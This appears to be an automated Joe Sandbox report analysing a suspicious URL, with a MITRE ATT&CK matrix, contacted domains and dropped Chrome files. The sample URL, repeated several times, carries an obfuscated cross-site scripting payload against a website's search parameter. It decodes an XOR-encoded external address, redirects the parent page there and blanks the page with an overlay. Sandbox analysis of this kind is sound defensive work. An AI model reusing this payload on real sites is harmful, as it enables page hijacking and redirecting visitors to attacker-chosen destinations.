Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnkJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts1
Command and Scripting Interpreter		1
Registry Run Keys / Startup Folder		1
Process Injection		3
Masquerading		OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local SystemExfiltration Over Other Network Medium1
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
Registry Run Keys / Startup Folder		1
Process Injection		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth3
Non-Application Layer Protocol		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration4
Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled Transfer1
Ingress Tool Transfer		SIM Card SwapCarrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in('');*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS0%Avira URL Cloudsafe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://urldefense.com/jasset/images/favicon.ico0%Avira URL Cloudsafe
https://urldefense.com/jasset/images/proofpoint_logo.jpeg0%Avira URL Cloudsafe
https://urldefense.com/jasset/stylesheets/common.css0%Avira URL Cloudsafe
https://urldefense.com/jasset/images/warning.png0%Avira URL Cloudsafe
https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in(%27%27);*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
accounts.google.com
142.251.36.237
truefalse
    		high
    urldefense.com
    		52.204.90.22
    		truefalse
      		unknown
      www.google.com
      		142.251.37.4
      		truefalse
        		high
        clients.l.google.com
        		172.217.16.174
        		truefalse
          		high
          clients2.google.com
          		unknown
          		unknownfalse
            		high

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            https://urldefense.com/jasset/images/proofpoint_logo.jpegfalse
            • Avira URL Cloud: safe
            		unknown
            https://urldefense.com/jasset/stylesheets/common.cssfalse
            • Avira URL Cloud: safe
            		unknown
            https://urldefense.com/jerrorfalse
              		unknown
              https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardfalse
                		high
                https://urldefense.com/jasset/images/favicon.icofalse
                • Avira URL Cloud: safe
                		unknown
                https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=115.0.5790.171&lang=en-GB&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1false
                  		high
                  https://urldefense.com/jerrorfalse
                    		unknown
                    https://urldefense.com/jasset/images/warning.pngfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in(%27%27);*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJSfalse
                    • Avira URL Cloud: safe
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    https://github.com/easylist)LICENSE.txt.0.drfalse
                      		high
                      https://creativecommons.org/.LICENSE.txt.0.drfalse
                        		high
                        https://easylist.to/)LICENSE.txt.0.drfalse
                          		high
                          https://creativecommons.org/compatiblelicensesLICENSE.txt.0.drfalse
                            		high

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            142.251.37.4
                            		www.google.comUnited States
                            		15169GOOGLEUSfalse
                            239.255.255.250
                            		unknownReserved
                            		unknownunknownfalse
                            142.251.36.237
                            		accounts.google.comUnited States
                            		15169GOOGLEUSfalse
                            52.204.90.22
                            		urldefense.comUnited States
                            		14618AMAZON-AESUSfalse
                            172.217.16.174
                            		clients.l.google.comUnited States
                            		15169GOOGLEUSfalse

                            Private

                            IP
                            192.168.2.1

                            General Information

                            Joe Sandbox Version:38.0.0 Beryl
                            Analysis ID:1300682
                            Start date and time:2023-08-30 22:37:07 +02:00
                            Joe Sandbox Product:CloudBasic
                            Overall analysis duration:0h 4m 57s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:browseurl.jbs
                            Sample URL:https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascriΡt*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in('');*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS
                            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                            Number of analysed new started processes analysed:23
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • HDC enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Detection:SUS
                            Classification:sus20.win@24/19@10/6
                            EGA Information:Failed
                            HDC Information:Failed
                            HCA Information:
                            • Successful, ratio: 100%
                            • Number of executed functions: 0
                            • Number of non-executed functions: 0

                            Warnings

                            • Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, svchost.exe
                            • Excluded IPs from analysis (whitelisted): 142.251.37.3, 34.104.35.123, 172.217.16.163
                            • Excluded domains from analysis (whitelisted): www.bing.com, kv601.prod.do.dsp.mp.microsoft.com, ris.api.iris.microsoft.com, geover.prod.do.dsp.mp.microsoft.com, fs.microsoft.com, edgedl.me.gvt1.com, geo.prod.do.dsp.mp.microsoft.com, eudb.ris.api.iris.microsoft.com, update.googleapis.com, clientservices.googleapis.com, arc.msn.com
                            • Not all processes where analyzed, report is missing behavior information
                            • Report size getting too big, too many NtSetInformationFile calls found.
                            • VT rate limit hit for: https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString

                            Simulations

                            Behavior and APIs

                            ⊘No simulations

                            Joe Sandbox View / Context

                            IPs

                            ⊘No context

                            Domains

                            ⊘No context

                            ASNs

                            ⊘No context

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\Filtering Rules

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):75272
                            Entropy (8bit):5.53696123058262
                            Encrypted:false
                            SSDEEP:1536:F7qv8gxoXIEWyFbBSFAxkf2B9xSUlZmmw4ui1Zlj+E0TNzxxB8fNe5P:Yv8g8vpFbBWAxHB9gI1nbvlj+E0hzxHv
                            MD5:7B330DB988A4963F2398D29BD2EB3EBE
                            SHA1:0B17173D66FE3F5D792DBE750E5D93FCC774753B
                            SHA-256:05BEB51FB0596AB0FB46C6692AB8031D3C017EBB7924F92A52142039D654F9C6
                            SHA-512:DE6C2B8C0258030FB3B7D6C8B0466EB1C6FEB7B536F7B83C12A0545CF2291BAC08E18F592F9553C146B5842CA1100C155EC6DE4277D47AECC5E6B81A097D8DD4
                            Malicious:false
                            Reputation:low
                            Preview:............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.sdbvveonb1.com^..........0.8.@.R.yomeno.xyz^.:........*...adcore.com.au..*...adcore.ch..0.8.@.R./adcore_..........0.8.@.R.yellowblue.io^..........0.8.@.R.viagengarr.com^..........0.8.@.R.ad999.biz^..........0.8.@.R._468_60..3........0.8.@.R#/wp-content/plugins/wp-super-popup/..........0.8.@.R..adbutler-..........0.8.@.R.adrecover.com^..........0.8.@.R.hdbcode.com^.-........*...konograma.com..0.8.@.R./adserver...........*...vk.com0.8.@.R.vk.me/css/al/ads.css."......0.8.@.R./plugins/cactus-ads/.,........0.8.@.R.mysmth.net/nForum/*/ADAgent_..........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.E........*...daum.net0.8.@.R)daumcdn.net/adfit/static/ad-native.min.js.(........0.8.@.R.looker.com/api/internal/.#........0.8.@.R.broadstreetads.com^..........0.8.@.R./banner.cgi?...........*...thefreedictionary.com*...downloads.codefi.re*...windows7themes.net*...smallseotools.com*...tampermonkey.net*...global

                            C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\LICENSE.txt

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:ASCII text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):24623
                            Entropy (8bit):4.588307081140814
                            Encrypted:false
                            SSDEEP:384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
                            MD5:D33AAA5246E1CE0A94FA15BA0C407AE2
                            SHA1:11D197ACB61361657D638154A9416DC3249EC9FB
                            SHA-256:1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
                            SHA-512:98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
                            Malicious:false
                            Reputation:low
                            Preview:EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

                            C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\_metadata\verified_contents.json

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:JSON data
                            Category:dropped
                            Size (bytes):1529
                            Entropy (8bit):5.979708819552507
                            Encrypted:false
                            SSDEEP:24:pZRj/flTHYiZyJnkYbKVzjeT3jzkaoXeb6+aeF2y51pT1lxoX2StCE7wURWpJqix:p/h4iZyJvbKVOTHkakc/aesy51nlxkRQ
                            MD5:81D150A999B612434CF5CEBFBCC21C5F
                            SHA1:CCEDF960294A099380AF90652E7A196E48CADDFE
                            SHA-256:3CF8B44C1AF875714458C4B8B7E1F87D50052F825CC0AC1AB2E190643F0B63A5
                            SHA-512:EC6C12BDC7834E9DD59165D006C0E8577A7208650F2FDC47E752771FC0281FEA7FF8967DCD2E4B23FEE95152413EC87ADA19A29ECE05D3EF0065EBBC676C5B26
                            Malicious:false
                            Reputation:low
                            Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiI3Z2dRU0RKVXR4NmRkWlkzNnJaYmZVNTFQSkh0b3h2d29yS2VQeXplZjdRIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6InZvczk5SERmbDExQXItZE0wY0dGSzkta2dWcXh5YXhoOTZ1WlNVdlBCeGsifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuNDcuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"fa2Qz28dstciHFwfjIqZfPpjm4GyYirZ9M5s0ULbaFRqEuuF-NyBxJmSNpIL9kkb-_v7Io0q0fFUH51futjvM4W4eWdySHtDoYU1IkO0esTzIkJTeWQ09vda72R-x_kWyySgzZYm5Zp7NbEs-hHzSX-xhKvNvwVSLwu0FXXSyvYOLjD5zbzUAI2AGHnTJsbw82HYIwtlm-JueySSuibxxp5e2ihBkmqcgkmQ_pyxkGFdeV27M

                            C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\manifest.fingerprint

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:ASCII text, with no line terminators
                            Category:dropped
                            Size (bytes):66
                            Entropy (8bit):3.9146766970101536
                            Encrypted:false
                            SSDEEP:3:SR7KSVEGrUuwHlhQUtEb+2Ln:SdVvrMjBtY
                            MD5:70F0670E4F921C07783707EE717F7B6A
                            SHA1:A30801E0482F388F773A4E53091970242C530698
                            SHA-256:0D216E38691424BCCB4D90C67AA48807ADBBE20D755E8FEE48FD14C46F37CBD6
                            SHA-512:11EE4128FF2E02E91208C7EA0C8DFA3C1AF4513F22F786FFF2004D24CE3F0453BF45DA5357DB18161E189A6D7D35D7D4FB189408179DC0FFF8C996288F374E07
                            Malicious:false
                            Reputation:low
                            Preview:1.4c67e9ab7c30c48322e5f6fe5acbd64132c054ebb91bd510b414b1506167ffc9

                            C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\manifest.json

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:JSON data
                            Category:dropped
                            Size (bytes):114
                            Entropy (8bit):4.56489413033116
                            Encrypted:false
                            SSDEEP:3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1VVg:F6VlMZWuMt5SKPS1VVg
                            MD5:12F77F7CA48ED063DFB33B68CA44A7DF
                            SHA1:3B5DDAE64C464F22DEFDA55109D9FEAA91FEB5E9
                            SHA-256:BE8B3DF470DF975D40AFE74CD1C1852BDFA4815AB1C9AC61F7AB99494BCF0719
                            SHA-512:2CF93AA46FFC46F49A614F1F108F661738F9481B029D0DA6D823C39B493DB784D7B393B7CA3428C4B1BE817947A3A8D9257EC24E88A9FBA1D2A0B016DC9862DC
                            Malicious:false
                            Reputation:low
                            Preview:{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.47.0".}

                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

                            Download File
                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Sep 30 06:28:28 2020, mtime=Thu Aug 10 09:45:23 2023, atime=Tue Aug 1 18:57:01 2023, length=1158936, window=hide
                            Category:dropped
                            Size (bytes):2675
                            Entropy (8bit):4.016002492819275
                            Encrypted:false
                            SSDEEP:48:8J0cdUKRmHyidAKZdA1o9ehwiZUklqehiBA3:8J0UReB
                            MD5:BDCF357FE52CFA0371A77C2152987C07
                            SHA1:2445320B9875DA3F1CF7410C81B44B0CC9E02DB6
                            SHA-256:B549E5663E0AC583634713BFCCD28F87765CFF7256D2DBF20D6C1163A33F8DDB
                            SHA-512:CB12BD981615AEFF3ACCF31BFE9E2EA4E776844BCC60A1AFD74A7E306228AF4DA0CC1444B9752771ECC4F700E2682FE7AE7477742F63134925EEB54257825666
                            Malicious:false
                            Reputation:low
                            Preview:L..................F.@.. ....b.J........w.....,V............................1....P.O. .:i.....+00.../C:\.....................1......W.U..PROGRA~1..t......L..W......E...............J........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....>Q.;..Google..>......>Q.;.W................................G.o.o.g.l.e.....T.1......W.U..Chrome..>......>Q.;.W............................c.>.C.h.r.o.m.e.....`.1......W.U..APPLIC~1..H......>Q.;.W.............................A.A.p.p.l.i.c.a.t.i.o.n.....n.2......W!. .CHROME~1.EXE..R......>Q.;.W.U.....}......................h.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........[A.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 